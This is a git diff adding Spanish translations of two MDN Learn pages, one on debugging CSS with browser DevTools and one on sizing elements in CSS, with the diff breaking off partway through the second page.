diff --git a/files/es/learn/css/building_blocks/depurar_el_css/index.html b/files/es/learn/css/building_blocks/depurar_el_css/index.html
new file mode 100644
index 0000000000..5f04fdd756
--- /dev/null
+++ b/files/es/learn/css/building_blocks/depurar_el_css/index.html
@@ -0,0 +1,198 @@
+---
+title: Depurar el CSS
+slug: Learn/CSS/Building_blocks/Depurar_el_CSS
+translation_of: Learn/CSS/Building_blocks/Debugging_CSS
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}</div>
+
+<p>Al escribir CSS te puedes encontrar que, a veces, alguna parte de tu CSS no hace lo que esperas. Tal vez creas que cierto selector debería coincidir con un elemento, pero no sucede nada; o una caja tiene un tamaño diferente al que esperabas. Este artículo te orientará sobre cómo solucionar un problema de CSS y te mostrará cómo las DevTools incluidas en todos los navegadores modernos pueden ayudarte a descubrir qué sucede.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, tener el <a href="/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico</a> instalado, conocimientos básicos de <a href="/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajar con archivos</a>, HTML básico (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción a HTML</a>) y nociones de cómo funciona el CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Primeros pasos con el CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Conocer los conceptos básicos de las DevTools que hay en los navegadores y de cómo inspeccionar y editar el CSS de un modo fácil.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Cómo_acceder_a_las_DevTools_de_los_navegadores">Cómo acceder a las DevTools de los navegadores</h2>
+
+<p>El artículo <a href="/es/docs/Learn/Common_questions/What_are_browser_developer_tools">¿Qué son las herramientas de desarrollo de los navegadores?</a> es una guía actualizada que explica cómo acceder a las herramientas en varios navegadores y plataformas. Si bien puedes optar por desarrollar principalmente en un navegador en particular y, por lo tanto, te familiarizarás más con las herramientas incluidas en ese navegador, vale la pena saber cómo acceder a ellas en otros navegadores. Esto ayudará si haces pruebas de las representaciones que dan diferentes navegadores.</p>
+
+<p>También te darás cuenta de que los diversos navegadores han optado por centrarse en áreas diferentes al crear sus DevTools. Por ejemplo, en Firefox hay algunas herramientas excelentes para trabajar visualmente con la compaginación con CSS, que te permiten inspeccionar y editar <a href="/es/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Compaginaciones de cuadrícula</a>, <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_Flexbox_layouts">Flexbox</a> y <a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">formas</a>. Sin embargo, todos los navegadores tienen herramientas fundamentales similares. Por ejemplo, para inspeccionar las propiedades y los valores que se aplican a los elementos de tu página, y hacer cambios desde el editor.</p>
+
+<p>En este artículo veremos algunas características útiles de Firefox DevTools para trabajar con CSS. Para hacerlo, usaremos <a href="https://mdn.github.io/css-examples/learn/inspecting/inspecting.html">un archivo de ejemplo</a>. Carga esto en una pestaña nueva si deseas seguir adelante y abre tus DevTools como se describe en el artículo del enlace anterior.</p>
+
+<h2 id="El_DOM_y_View_Source">El DOM y "View Source"</h2>
+
+<p>Algo que puede hacer tropezar a los recién llegados a DevTools es la diferencia entre lo que ves cuando <a href="/es/docs/Tools/View_source">miras el código fuente</a> de una página web, o miras el archivo HTML que colocas en el servidor, y lo que puedes ver en la <a href="/es/docs/Tools/Page_Inspector/UI_Tour#Panel_HTML">ventana HTML</a> de DevTools. Aunque ves más o menos lo mismo que puedes ver desde View Source (Ver código fuente de la página), hay algunas diferencias.</p>
+
+<p>En el DOM procesado, el navegador puede haber corregido algunos HTML mal escritos por ti. Si cerraste un elemento incorrectamente, por ejemplo, por abrir con un <code>&lt;h2&gt;</code> y cerrar con un <code>&lt;/h3&gt;</code>, el navegador descubre lo que ibas a hacer y el HTML del DOM cerrará ese <code>&lt;h2&gt;</code> de apertura correctamente con un <code>&lt;/h2&gt;</code>. El navegador también normaliza todo el HTML, y el DOM también muestra los cambios que hace JavaScript.</p>
+
+<p>En comparación, View Source es simplemente el código fuente HTML tal como está almacenado en el servidor. El <a href="/es/docs/Tools/Page_Inspector/How_to/Examinar_y_editar_HTML#%C3%81rbol_HTML">árbol HTML</a> de tus DevTools muestra exactamente lo que el navegador representa en un momento dado, y te da una idea de lo que sucede en realidad.</p>
+
+<h2 id="Inspección_del_CSS_aplicado">Inspección del CSS aplicado</h2>
+
+<p>Selecciona un elemento de tu página, ya sea haciendo clic con el botón derecho o pulsando la tecla ctrl para seleccionar la opción <em>Inspect</em>, o seleccionándolo del árbol HTML que hay a la izquierda de la pantalla de la interfaz DevTools. Selecciona el elemento con la clase <code>box1</code>; este es el primer elemento de la página con una caja alrededor.</p>
+
+<p><img alt="La página de ejemplo para este tutorial con DevTools abiertas." src="https://mdn.mozillademos.org/files/16606/inspecting1.png" style="border-style: solid; border-width: 1px; height: 1527px; width: 2278px;"></p>
+
+<p>Si observasla  <a href="/es/docs/Tools/Page_Inspector/UI_Tour#Panel_CSS">vista de reglas</a>, que está a la derecha de tu HTML, deberías poder ver las propiedades y los valores CSS aplicados sobre ese elemento. Verás las reglas aplicadas directamente a la clase <code>box1</code> y también el CSS que la caja hereda de su elemento padre, en este caso <code>&lt;body&gt;</code>. Esto es útil para cuando ves que se aplica un CSS que no esperabas. Tal vez se esté heredando de un elemento padre y necesites añadir una regla para sobrescribirlo en el contexto de este elemento.</p>
+
+<p>También es útil la capacidad de expandir las propiedades abreviadas. En nuestro ejemplo se usa la abreviación <code>margin</code>.</p>
+
+<p><strong>Haz clic en la pequeña flecha para expandir la vista, que muestra las diferentes propiedades sin abreviar y sus valores.</strong></p>
+
+<p><strong>Puedes activar y desactivar los valores en la vista de reglas, cuando ese panel esté activo; si mantienes el ratón sobre él, aparecerán casillas de verificación. Desmarca la casilla de verificación de una regla, por ejemplo <code>border-radius</code>, y el CSS dejará de aplicarse.</strong></p>
+
+<p>Puedes usar esto para hacer una comparación entre A y B, decidir si algo se ve mejor con una regla aplicada o sin aplicar, y también para ayudar a depurarlo. Por ejemplo, si un diseño falla e intentas determinar qué propiedad causa el problema.</p>
+
+<h2 id="Editar_valores">Editar valores</h2>
+
+<p>Además de activar y desactivar las propiedades, puedes editar sus valores. ¿Quieres ver si quizá otro color se ve mejor, o deseas modificar algún tamaño? Las DevTools pueden ahorrarte mucho tiempo a la hora de editar una hoja de estilo y volver a cargar la página.</p>
+
+<p><strong>Selecciona <code>box1</code> y haz clic en la muestra (el pequeño círculo de color) que muestra el color aplicado al borde. Se abrirá un selector de color y puedes probar con colores diferentes, que se actualizarán en tiempo real en la página. De manera similar puedes cambiar el ancho o el estilo del borde.</strong></p>
+
+<p><img alt="Ventana de aplicación de estilos de DevTools con un selector de color abierto." src="https://mdn.mozillademos.org/files/16607/inspecting2-color-picker.png" style="border-style: solid; border-width: 1px; height: 1173px; width: 2275px;"></p>
+
+<h2 id="Añadir_una_propiedad_nueva">Añadir una propiedad nueva</h2>
+
+<p>Puedes añadir propiedades usando las DevTools. ¿Te has dado cuenta de que quizá no quieres que tu caja herede el tamaño de letra del elemento <code>&lt;body&gt;</code> y quieres establecer tu propio tamaño de letra específico? Pruébalo en DevTools antes de añadirlo a tu archivo CSS.</p>
+
+<p><strong>Puedes hacer clic en la llave de cierre de la regla para comenzar a introducir una declaración nueva, y en ese momento puedes comenzar a escribir la nueva propiedad y DevTools te mostrará una lista de propiedades coincidentes que se completará automáticamente. Después de seleccionar <code>font-size</code>, introduce el valor que deseas probar. También puede hacer clic en el botón + para añadir una regla adicional con el mismo selector y tus reglas nuevas.</strong></p>
+
+<p><img alt="La ventana DevTools, que añade una propiedad nueva a las reglas, con el autocompletado para font-open" src="https://mdn.mozillademos.org/files/16608/inspecting3-font-size.png" style="border-style: solid; border-width: 1px; height: 956px; width: 2275px;"></p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: También hay otras funciones útiles en la vista de reglas; por ejemplo, las declaraciones con valores no válidos están tachadas. Puedes obtener más información en <a href="/es/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Examinar y editar CSS</a>.</p>
+</div>
+
+<h2 id="Comprender_el_modelo_de_cajas">Comprender el modelo de cajas</h2>
+
+<p>En artículos anteriores hemos expuesto el <a href="/es/docs/Learn/CSS/Building_blocks/El_modelo_de_caja">modelo de cajas</a>, y el hecho de que tengamos un modelo de cajas alternativo que cambia la forma en que se calcula el tamaño de los elementos en función del tamaño que les asignas, más el relleno y los bordes. Las DevTools realmente pueden ayudarte a comprender cómo se calcula el tamaño de un elemento.</p>
+
+<p><a href="/es/docs/Tools/Page_Inspector/UI_Tour#Panel_CSS">El panel de disposición</a> muestra un diagrama del modelo de cajas en el elemento seleccionado, junto con una descripción de las propiedades y los valores que cambian la forma en que el elemento se presenta. Esto incluye una descripción de las propiedades que puedes no haber utilizado explícitamente en el elemento, pero que tienen valores iniciales establecidos.</p>
+
+<p>En esta ventana, una de las propiedades que se detallan es la propiedad <code>box-sizing</code>, que controla qué modelo de cajas usa el elemento.</p>
+
+<p><strong>Compara las dos cajas con las clases <code>box1</code> y <code>box2</code>. Ambas tienen el mismo ancho aplicado (400 px), sin embargo, <code>box1</code> es visualmente más ancha. En la ventana de diseño puedes ver que usa <code>content-box</code>. Este es el valor que toma el tamaño que asignas al elemento y luego añade el área de relleno y el ancho del borde.</strong></p>
+
+<p>El elemento con una clase <code>box2</code> usa <code>border-box</code>, por lo que aquí el área de relleno y el borde se restan del tamaño que has asignado al elemento. Esto significa que el espacio que la caja ocupa en la página es el tamaño exacto que se ha especificado, en nuestro caso <code>width: 400px</code>.</p>
+
+<p><img alt="La ventana de diseño de DevTools" src="https://mdn.mozillademos.org/files/16609/inspecting4-box-model.png" style="border-style: solid; border-width: 1px; height: 1532px; width: 2275px;"></p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Descubre más en <a href="/es/docs/Tools/Page_Inspector/How_to/Examinar_y_editar_el_modelo_de_cajasmodel">Examinar e inspeccionar el modelo de cajas</a>.</p>
+</div>
+
+<h2 id="Resolver_problemas_de_especificidad">Resolver problemas de especificidad</h2>
+
+<p>A veces, durante el desarrollo, pero en particular cuando necesitas editar el CSS de un sitio ya publicado, te resultará difícil conseguir que se aplique un determinado CSS. No importa lo que hagas, el elemento simplemente no parece aceptar tu CSS. Lo que suele suceder aquí es que un selector más específico anula tus cambios, y en este caso DevTools te será de gran ayuda.</p>
+
+<p>En nuestro archivo de ejemplo hay dos palabras incluidas en un elemento <code>&lt;em&gt;</code>. Uno se muestra en color naranja y el otro en rosa. En el CSS hemos aplicado:</p>
+
+<pre class="brush: css notranslate">em {
+  color: hotpink;
+  font-weight: bold;
+}</pre>
+
+<p>Sin embargo, un poco más arriba en la hoja de estilo hay una regla con un selector <code>.special</code>:</p>
+
+<pre class="brush: css notranslate">.special {
+  color: orange;
+}</pre>
+
+<p>Como recordarás del artículo sobre <a href="/es/docs/Learn/CSS/Building_blocks/Cascada_y_herencia"> cascada y herencia</a>, en que hablamos sobre la especificidad, los selectores de clase son más específicos que los selectores de elemento, por lo que este es el valor que se aplica. DevTools puede ayudarte a encontrar estos problemas, especialmente si la información está oculta en algún lugar de una extensa hoja de estilo.</p>
+
+<p><strong>Inspecciona <code>&lt;em&gt;</code> con la clase <code>.special</code> y DevTools te mostrará que el naranja es el color que se aplica, y también te muestra la propiedad <code>color</code> aplicada al em tachado. Aquí puedes ver que la clase anula el selector de elemento.</strong></p>
+
+<p><img alt="Selecciona un em y mira en DevTools qué solapa el color." src="https://mdn.mozillademos.org/files/16610/inspecting5-specificity.png" style="border-style: solid; border-width: 1px; height: 1161px; width: 2275px;"></p>
+
+<h2 id="Descubre_más_sobre_las_DevTools_de_Firefox">Descubre más sobre las DevTools de Firefox</h2>
+
+<p>Hay mucha información aquí en MDN sobre las DevTools de Firefox. Echa un vistazo a la <a href="/es/docs/Tools">sección principal de las DevTools</a>, y consulta las <a href="/es/docs/Tools/Page_Inspector#How_to">Guías prácticas</a> para obtener información más detallada sobre las cosas que hemos expuesto brevemente en este artículo.</p>
+
+<h2 id="Problemas_al_depurar_en_CSS">Problemas al depurar en CSS</h2>
+
+<p>Las DevTools pueden ser de gran ayuda a la hora de resolver problemas con el CSS, pero ¿cómo resuelves una situación en la que el CSS no se comporta como esperas? Los siguientes pasos deberían ayudarte.</p>
+
+<h3 id="Aléjate_del_problema">Aléjate del problema</h3>
+
+<p>Cualquier problema de código puede ser frustrante, especialmente los problemas de CSS, porque a menudo no recibes un mensaje de error que buscar en línea para ayudarte a encontrar una solución. Si te sientes frustrado, aléjate del problema por un tiempo: sal a caminar, tómate una copa, habla con un compañero de trabajo o trabaja en otra cosa por un tiempo. A veces, la solución aparece mágicamente cuando dejas de pensar en el problema, e incluso si no llega, trabajar en ello cuando te sientas más fresco te será mucho más fácil.</p>
+
+<h3 id="¿Tu_HTML_y_CSS_son_válidos">¿Tu HTML y CSS son válidos?</h3>
+
+<p>Los navegadores esperan que tu CSS y HTML estén escritos correctamente, sin embargo, los navegadores también son muy indulgentes y harán todo lo posible para mostrar tus páginas web incluso si tiene errores en el marcado o en la hoja de estilo. Si tienes errores en el código, el navegador trata de adivinar lo que quieres decir, y podría tomar una decisión diferente a lo que tenías en mente. Además, dos navegadores diferentes pueden hacer frente al problema de dos maneras diferentes. Por lo tanto, un buen primer paso es pasar tu HTML y CSS por un validador, que detectar cualquier error.</p>
+
+<ul>
+ <li><a href="https://jigsaw.w3.org/css-validator/">Validador de CSS</a></li>
+ <li><a href="https://validator.w3.org/">Validador de HTML</a></li>
+</ul>
+
+<h3 id="¿La_propiedad_y_el_valor_son_compatibles_con_el_navegador">¿La propiedad y el valor son compatibles con el navegador?</h3>
+
+<p>Los navegadores simplemente ignoran el CSS que no entienden. Si la propiedad o el valor que utilizas no es compatible con el navegador en el que lo pruebas, no se romperá nada, pero ese CSS no se aplicará. Las DevTools en general destacan de alguna manera las propiedades y los valores que no son compatibles. En la captura de pantalla siguiente, el navegador no admite el valor de subcuadrícula {{cssxref ("grid-template-columns")}}.</p>
+
+<p><img alt="Imagen de las DevTools del navegador con la cuadrícula-plantilla-columnas: subcuadrícula tachada porque el valor de la subcuadrícula no es compatible." src="https://mdn.mozillademos.org/files/16641/no-support.png" style="height: 397px; width: 1649px;"></p>
+
+<p>También puedes echar un vistazo a las tablas de compatibilidad de navegadores en la parte inferior de cada página de propiedades del proyecto MDN. Te muestran la compatibilidad de cada navegador para esa propiedad, a menudo desglosado si hay compatibilidad para un uso de la propiedad y no para otros. La tabla siguiente muestra los datos de compatibilidad para la propiedad {{cssxref ("shape-outside")}}.</p>
+
+<p>{{compat("css.shape-outside")}}</p>
+
+<h3 id="¿Hay_algo_más_que_anule_tu_CSS">¿Hay algo más que anule tu CSS?</h3>
+
+<p>Aquí es donde la información que has aprendido sobre la especificidad será muy útil. Si tienes algo más específico que anula lo que intentas hacer, puedes entrar en un juego muy frustrante de tratar de resolverlo sin saber qué tienes que resolver. Sin embargo, como hemos dicho, las DevTools te mostrarán qué CSS se ha aplicado y así puedes averiguar cómo hacer que el nuevo selector sea lo suficientemente específico como para anularlo.</p>
+
+<h3 id="Haz_un_caso_de_prueba_reducido_del_problema">Haz un caso de prueba reducido del problema</h3>
+
+<p>Si el problema no se resuelve con los pasos anteriores, deberás investigar un poco más. Lo mejor que puedes hacer en este momento es crear lo que se conoce como un caso de prueba reducido. Ser capaz de «reducir un problema» es una habilidad muy útil. Te ayudará a encontrar problemas en tu propio código y en el de tus colegas, y también te permitirá informar de errores y solicitar ayuda de manera más efectiva.</p>
+
+<p>Un caso de prueba reducido es un ejemplo de código que muestra el problema de la manera más simple posible, sin contenido ni estilo circundante. Esto significa a menudo sacar el código problemático de tu diseño para hacer un pequeño ejemplo que solo muestre ese código o característica.</p>
+
+<p>Para crear un caso de prueba reducido:</p>
+
+<ol>
+ <li>Si tu marcado se genera dinámicamente, por ejemplo desde un CMS, crea una versión estática de la salida que muestre el problema. Un sitio para compartir código como <a href="https://codepen.io/">CodePen</a> es útil para alojar casos de prueba reducidos, porque son accesibles en línea y puedes compartirlos fácilmente con tus colegas. Puedes comenzar por hacer un View Source de la página y copiar el HTML en CodePen, luego toma cualquier CSS y JavaScript relevante e inclúyelo también. Después de eso, puedes verificar si el problema sigue ahí.</li>
+ <li>Si eliminar el JavaScript no soluciona el problema, no incluyas el JavaScript. Si eliminar el JavaScript hace desaparecer el problema, elimina la mayor cantidad de JavaScript que puedas; deja solo las causas del problema.</li>
+ <li>Elimina cualquier HTML que no contribuya al problema. Elimina componentes o incluso elementos principales del diseño. Nuevamente, intenta reducir al mínimo la cantidad de código que aún muestra el problema.</li>
+ <li>Elimina cualquier CSS que no afecte al problema.</li>
+</ol>
+
+<p>En el proceso, puedes descubrir qué causa el problema, o al menos ser capaz de ponerlo o quitarlo al eliminar algo específico. Vale la pena añadir algunos comentarios a tu código a medida que vas descubriendo cosas. Si tienes que pedir ayuda, estos comentarios indicarán a la persona que te ayuda lo que ya has intentado. Esto puede proporcionarte bastante información para permitirte buscar posibles problemas por sondeo y soluciones alternativas.</p>
+
+<p>Si todavía tienes dificultades para solucionar el problema, tener un caso de prueba reducido te ofrece algo con lo que pedir ayuda, publicarlo en un foro o mostrarlo a un compañero de trabajo. Es mucho más probable que obtengas ayuda si antes de pedir la ayuda muestras que has hecho el trabajo de reducir el problema e identificar dónde sucede exactamente. Un desarrollador más experimentado va a poder detectar el problema con rapidez y orientarte en la dirección correcta, y aunque no sea así, echarle un vistazo rápido a tu caso de prueba reducido y, con suerte, ofrecerte al menos algo de ayuda.</p>
+
+<p>En el caso de que tu problema sea en realidad un error en un navegador, también puedes usar un caso de prueba reducido para presentar un informe de error al proveedor del navegador correspondiente (por ejemplo, en el sitio de <a href="https://bugzilla.mozilla.org">Bugzilla</a> de Mozilla).</p>
+
+<p>A medida que adquieras más experiencia con CSS, descubrirás que vas adquiriendo rapidez para descubrir de dónde vienen los problemas. Sin embargo, incluso los más experimentados a veces nos preguntamos qué pasa. Adoptar un enfoque metódico, hacer un caso de prueba reducido y explicar el problema a otra persona suele dar un buen resultado para encontrar una solución.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascada y herencia</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">Selectores CSS</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Selectores de tipo, de clase y de ID</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Selectores de atributo</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Las pseudoclases y los pseudoelementos</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Selectores de combinación</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">El modelo de cajas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Fondos y bordes</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">El uso de diferentes direcciones de texto</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">El desbordamiento de los contenidos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Los valores y las unidades</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Elementos de dimensionado en CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Imágenes, media y elementos de formulario</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Aplicar estilo a las tablas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Depurar el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizar el CSS</a></li>
+</ol>
diff --git a/files/es/learn/css/building_blocks/dimensionar_elementos_en_css/index.html b/files/es/learn/css/building_blocks/dimensionar_elementos_en_css/index.html
new file mode 100644
index 0000000000..81759abccc
--- /dev/null
+++ b/files/es/learn/css/building_blocks/dimensionar_elementos_en_css/index.html
@@ -0,0 +1,129 @@
+---
+title: Dimensionar elementos en CSS
+slug: Learn/CSS/Building_blocks/Dimensionar_elementos_en_CSS
+translation_of: Learn/CSS/Building_blocks/Sizing_items_in_CSS
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}</div>
+
+<p>En los diversos artículos vistos hasta ahora, has aprendido varias formas de dimensionar elementos en una página web utilizando CSS. Es importante que comprendas qué tamaños van a tener los diferentes elementos de tu diseño, y en este artículo vamos a resumir las diversas formas en que puedes asignar tamaños a los elementos con CSS y definir algunos términos relativos al dimensionado que te ayudarán en el futuro.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, tener el <a href="/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico</a> instalado, conocimientos básicos de <a href="/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajar con archivos</a>, HTML básico (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción a HTML</a>) y nociones de cómo funciona el CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Primeros pasos con CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Comprender las diferentes formas en que podemos dimensionar las cosas en CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="El_tamaño_natural_o_intrínseco_de_las_cosas">El tamaño natural o intrínseco de las cosas</h2>
+
+<p>Los elementos HTML tienen un tamaño natural, establecido antes de que se vean afectados por cualquier código CSS. Un ejemplo sencillo es una imagen. Una imagen tiene un ancho y una altura que están definidos en el archivo de imagen que está incrustando en la página. Este tamaño se describe como el <strong>tamaño intrínseco</strong>, que proviene de la imagen misma.</p>
+
+<p>Si colocas una imagen en una página y no cambias su altura y ancho, ya sea usando atributos en la etiqueta <code>&lt;img&gt;</code> o el CSS, se mostrará con ese tamaño intrínseco. En el ejemplo siguiente le hemos dado un borde a la imagen para que puedas ver la extensión del archivo.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-image.html", '100%', 600)}}</p>
+
+<p>Sin embargo, un elemento {{htmlelement ("div")}} vacío no tiene tamaño propio. Si añades un elemento {{htmlelement ("div")}} sin contenido a tu HTML, entonces debes darle un borde como hemos hecho con la imagen y verás una línea en la página. Se trata del borde del elemento replegado sobre sí mismo porque no hay contenido para mantenerlo abierto. En nuestro ejemplo siguiente, ese borde se extiende por todo el ancho del contenedor, porque es un elemento de nivel de bloque, un comportamiento con el que deberías comenzar a familiarizarte. No tiene altura (o tamaño en la dimensión de bloque) porque no hay contenido.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-text.html", '100%', 500)}}</p>
+
+<p>En el ejemplo anterior, añade texto al elemento vacío. Ahora el borde contiene ese texto porque la altura del elemento queda definida por el contenido. Por lo tanto, el tamaño de este elemento <code>&lt;div&gt;</code> en la dimensión del bloque proviene del tamaño del contenido. Nuevamente, este es el tamaño intrínseco del elemento: su tamaño está definido por su contenido.</p>
+
+<h2 id="Configurar_un_tamaño_específico">Configurar un tamaño específico</h2>
+
+<p>Por supuesto, podemos dar a los elementos de nuestro diseño un tamaño específico. Cuando asignas un tamaño a un elemento (al cual deberá ajustarse el contenido del elemento) nos referimos a este como <strong>tamaño extrínseco</strong>. Toma nuestro elemento <code>&lt;div&gt;</code> del ejemplo anterior: podemos darle valores específicos como {{cssxref ("width")}} y {{cssxref ("height")}}, y así tendrá ese tamaño sea cual sea su contenido. Como descubrimos en <a href="/es/docs/Learn/CSS/Building_blocks/Contenido_desbordado">nuestro artículo anterior sobre el desbordamiento</a>, una altura establecida puede causar el desbordamiento del contenido si hay más contenido del que cabe en el elemento.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/sizing/height.html", '100%', 600)}}</p>
+
+<p>Debido a este problema de desbordamiento, fijar la altura de los elementos con longitudes o porcentajes es algo que debemos hacer con mucho cuidado en la web.</p>
+
+<h3 id="El_uso_de_porcentajes">El uso de porcentajes</h3>
+
+<p>En muchos sentidos, los porcentajes actúan como unidades de longitud, y como discutimos en el <a href="/es/docs/Learn/CSS/Building_blocks/Valores_y_unidades_CSS#Porcentajes">artículo sobre valores y unidades</a>, a menudo se pueden usar indistintamente con longitudes. Cuando usas un porcentaje, debes tener claro de qué es porcentaje. En el caso de una caja dentro de otro contenedor, si a la caja secundaria le asignas un porcentaje al ancho, será un porcentaje del ancho del contenedor principal.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/sizing/percent-width.html", '100%', 600)}}</p>
+
+<p>Esto se debe a que los porcentajes se refieren al tamaño del bloque contenedor. Sin un porcentaje aplicado, nuestro elemento <code>&lt;div&gt;</code> ocuparía el 100% del espacio disponible, porque es un elemento de nivel de bloque. Si le damos un ancho porcentual, este se convierte en un porcentaje del espacio que normalmente ocuparía.</p>
+
+<h3 id="Porcentaje_de_márgenes_y_áreas_de_relleno">Porcentaje de márgenes y áreas de relleno</h3>
+
+<p>Si configuras <code>margins</code> y <code>padding</code> como un porcentaje, puede que observes un comportamiento extraño. En el ejemplo siguiente hay una caja. Hemos asignado a la caja interna un margen ({{cssxref ("margin")}}) del 10% y una área de relleno ({{cssxref ("padding")}}) del 10%. El área de relleno y el margen de la parte superior e inferior de la caja son del mismo tamaño que el margen de la izquierda y de la derecha.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/sizing/percent-mp.html", '100%', 700)}}</p>
+
+<p>Podrías esperar, por ejemplo, que el porcentaje de los márgenes superior e inferior sea un porcentaje de la altura del elemento, y el porcentaje de los márgenes izquierdo y derecho sea un porcentaje del ancho del elemento. Sin embargo, ¡este no es el caso!</p>
+
+<p>Cuando utilizas el margen y el área de relleno en porcentajes, el valor se calcula a partir del <strong>tamaño en línea</strong> del elemento, es decir, el ancho del elemento cuando se trabaja en un lenguaje horizontal. En nuestro ejemplo, todos los márgenes y el área de relleno son del 10% del ancho del elemento. Esto significa que puedes tener márgenes y relleno alrededor de la caja del mismo tamaño. Este es un hecho que vale la pena recordar si utilizas porcentajes de esta manera.</p>
+
+<h2 id="Tamaños_mínimo_y_máximo">Tamaños mínimo y máximo</h2>
+
+<p>Además de asignar a las cosas un tamaño fijo, podemos pedirle al CSS que asigne a un elemento un tamaño mínimo o máximo. Si tienes una caja que puede contener una cantidad variable de contenido y deseas que tenga siempre <em>al menos</em> una altura determinada, puedes establecer la propiedad {{cssxref ("min-height")}}. La caja siempre tendrá al menos esta altura, pero crecerá si hay más contenido del que la caja puede contener.</p>
+
+<p>En el ejemplo siguiente puedes ver dos cuadros, ambos con una altura definida de 150 píxeles. La caja de la izquierda tiene 150 píxeles de alto; la de la derecha contiene contenido que necesita más espacio, por lo que su tamaño supera los 150 píxeles.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/sizing/min-height.html", '100%', 800)}}</p>
+
+<p>Esto es muy útil para trabajar con cantidades de contenido variables y asimismo evitar desbordamientos.</p>
+
+<p>Un uso común de {{cssxref ("max-width")}} es para reducir el tamaño de las imágenes si no hay suficiente espacio para mostrarlas en su ancho intrínseco, al asegurarte de que no serán mayores que ese ancho.</p>
+
+<p>A modo de ejemplo, si para una imagen tienes que establecer <code>width: 100%</code> y su ancho intrínseco es menor que su contenedor, la imagen se verá obligada a expandirse y agrandarse, y se pixelará. Si su ancho intrínseco es mayor que su contenedor, se desbordará. No es probable que desees que suceda ninguno de estos casos.</p>
+
+<p>Si en lugar de ello usas <code>max-width: 100%</code>, la imagen puede encogerse con respecto a su tamaño intrínseco, pero no se agranda más allá del 100% de su tamaño.</p>
+
+<p>En el ejemplo siguiente hemos utilizado la misma imagen dos veces. La primera imagen tiene <code>width: 100%</code> y está en un contenedor que es más grande, por lo que se extiende hasta el ancho del contenedor. La segunda imagen tiene <code>max-width: 100%</code> y, por lo tanto, no se estira para llenar el recipiente. La tercera caja contiene la misma imagen de nuevo, también con <code>max-width: 100%</code>; pero en este caso puedes ver cómo se ha reducido para encajar en la caja.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/sizing/max-width.html", '100%', 800)}}</p>
+
+<p>Esta técnica se utiliza para dar a las imágenes una respuesta <em>adaptativa</em>, de modo que se reduzcan adecuadamente cuando se visualizan en un dispositivo más pequeño. Sin embargo, no es conveniente usar esta técnica para cargar imágenes demasiado grandes y luego reducirlas en el navegador. Las imágenes deben tener el tamaño adecuado, no deben ser más grandes de lo que sea necesario para el tamaño más grande que se muestran en el diseño. Descargar imágenes muy grandes ralentizará tu sitio y puede costarles más dinero a los usuarios si tienen una conexión tarifada.</p>
+
+<div class="blockIndicator note">
